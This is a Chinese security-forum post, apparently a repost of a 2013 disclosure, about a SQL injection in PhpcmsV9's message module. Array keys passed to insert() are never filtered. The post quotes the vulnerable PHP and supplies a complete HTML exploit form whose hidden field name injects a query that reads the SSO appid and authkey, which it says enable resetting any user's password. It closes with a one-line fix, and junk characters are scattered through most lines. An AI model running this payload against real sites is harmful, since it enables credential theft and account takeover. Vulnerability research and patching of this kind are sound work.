找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1934|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:; _% E* ~5 @; }) z: W2 ]0 o$ R

7 C0 g' \. k* W& [& M( x6 e7 n第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。! y1 G. o- {& k. o- G/ ~' Z( r+ d/ ^

, z( R4 L8 g5 y! b2 V明天再更新下一个漏洞。, Z/ e1 b2 }9 Q1 w$ ?
详细说明:
9 b1 O6 n3 O* H9 n: s8 A在/phpcms9/phpcms/modules/message/index.php中有代码如下:
3 Y2 w; _1 i" ~& M% X" D  \, ~
" K0 e2 \! I% w& _7 U# {$messageid = $this->message_db->insert($_POST['info'],true);1 p, Z7 L* i! O  s( ?3 E  Q" z
( ^% F1 V- l, e5 e; u
) G5 V) x" }. L* T1 G' b
insert方法是key value的,代码如下:6 n$ |! a( ?7 ~; z' l8 g

9 K$ t5 s2 w& K1 p3 b* ]( Epublic function insert($data, $table, $return_insert_id = false, $replace = false) {  q, x/ D, R) H
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
/ f5 N" F# K# |" ?                        return false;
- Y- d8 v: j: q; x8 X( X: @                }
1 S  V# Q5 k& ~- X0 v- I                7 |% L! N+ M% }8 D; d# E4 i
                $fielddata = array_keys($data);
- E* f, H0 Y1 }  Y' V, s' ^; M                $valuedata = array_values($data);4 O7 y& G/ G+ f0 L' w
                array_walk($fielddata, array($this, 'add_special_char'));6 w& f5 m- g. e) ?+ Q
                array_walk($valuedata, array($this, 'escape_string'));- I# z$ Z( P2 j- p5 S
               
+ S6 N0 s: T- G  g& }: Q1 F                $field = implode (',', $fielddata);% i8 ^2 ^0 ?: [" [5 A/ t5 Z* {2 b
                $value = implode (',', $valuedata);6 p8 o( M9 ]4 p0 M2 l3 o
% k, ~, R, B9 l1 L+ {9 u& O
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
8 Q4 {( {1 d8 Z7 `) H6 h4 h                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';. p( A$ ?5 Y! o2 T( T: ^5 Y
                $return = $this->execute($sql);
2 ^8 a9 r2 |8 `% Z* V+ W/ a  k                return $return_insert_id ? $this->insert_id() : $return;
2 T# _( i+ a3 ~" ^" b7 _9 S# l/ r" |        }
+ f7 h! e1 R; u& f% {+ ]+ ?2 I8 C6 e* L
5 V* X6 Z; b$ V" ^
嗯,很遗憾的是. N- X* c2 \  V2 |2 X

. Q2 f( ?3 W) ]! X0 aarray_walk($fielddata, array($this, 'add_special_char'));
: |: C2 {% V- N6 N) S1 u$ X- X! K
# K+ y3 {; n* ~- ^! ?; U  t- S, B# s8 c* U
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。6 e$ k/ m/ J5 }
- e; S+ X' W% b7 B9 W/ E
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。- C' b% f/ P: y: x( h
* ]5 p7 S' T$ h# Z. m/ O2 D% F
漏洞证明:" |! t9 O  |6 I  i$ F
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。$ \$ s/ g0 n* v: L8 D$ V

4 U5 L( q" u! O# i8 G: M/ B8 J: b. D; s9 V
表单如下:用户名什么的得自己改一改。
6 O  z. [( F1 N4 a+ Y<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
. {6 Y9 V# D4 U5 A( G<table width="100%" cellspacing="0" class="table_form">
+ z; n5 D* Q/ W0 z! Y<tr>
8 J% C3 T2 {. F. V<th>标 题:</th>
7 E' x, r6 I3 \5 v$ D' S<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
/ N$ L- n2 S' j</tr>
! d3 z' y5 c/ d  {. a3 h: m<tr>
9 j% w0 k) ?+ s, i<th>内 容:</th>- Z8 `9 U" r8 X& G. B
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
  ]7 C: _* k* c% l# `3 K</tr>  g! L2 g0 I$ [3 ~8 J) X6 ]
<input type="hidden" name="info[replyid]" value="2" />
! z/ _( q: Z' X9 n0 p9 b<input type="hidden" name="info[send_to_id]" value="cc" />
7 C$ h1 B6 {6 c0 K4 e/ Y<input type="hidden" name="info[send_from_id]" value="hh">+ `5 N1 Y, B! @' Z
<!-- 漏洞的利用重点在这里开始 -->
0 o- d1 f8 b* A<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> * l5 M; z; O5 L/ k
<!-- 漏洞的利用重点在这里结束 -->
: T9 b, C' [" |4 _5 P. U1 [<tr>% Y2 t* @) S* G
<th>验证码:</th>
; T* u  J! P; n2 F  L' d2 }<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>% n5 q; |9 x- [* p
</tr>* l/ _+ T! h6 w2 ?4 L
<tr>
2 o5 ~: A$ J1 F/ K. E9 j7 j<td></td>
8 i( `- e% H' t4 C  v" m<td colspan="2"><label>( X. y2 V& u' l' U) o. y$ s7 V; n% ?
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# K  H$ B6 {2 u- C: t! n+ O' K</label></td>0 }! l* p' u2 s3 d# @  p
</tr>% I3 p$ v# ]0 @& }; U, T
</table>
9 c8 T% \3 ~0 F# B( X. H" r</form>, P/ ?1 x- Q: T
在add_special_char函数内对key做过滤就可以了。4 l$ l% v7 o/ R8 k" P5 ?3 @/ x
* _0 @* v. e3 h' v; [

) K- B4 J# K& p6 Q3 Y3 y* H8 h' Z" o$ F' P) q/ N+ h

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表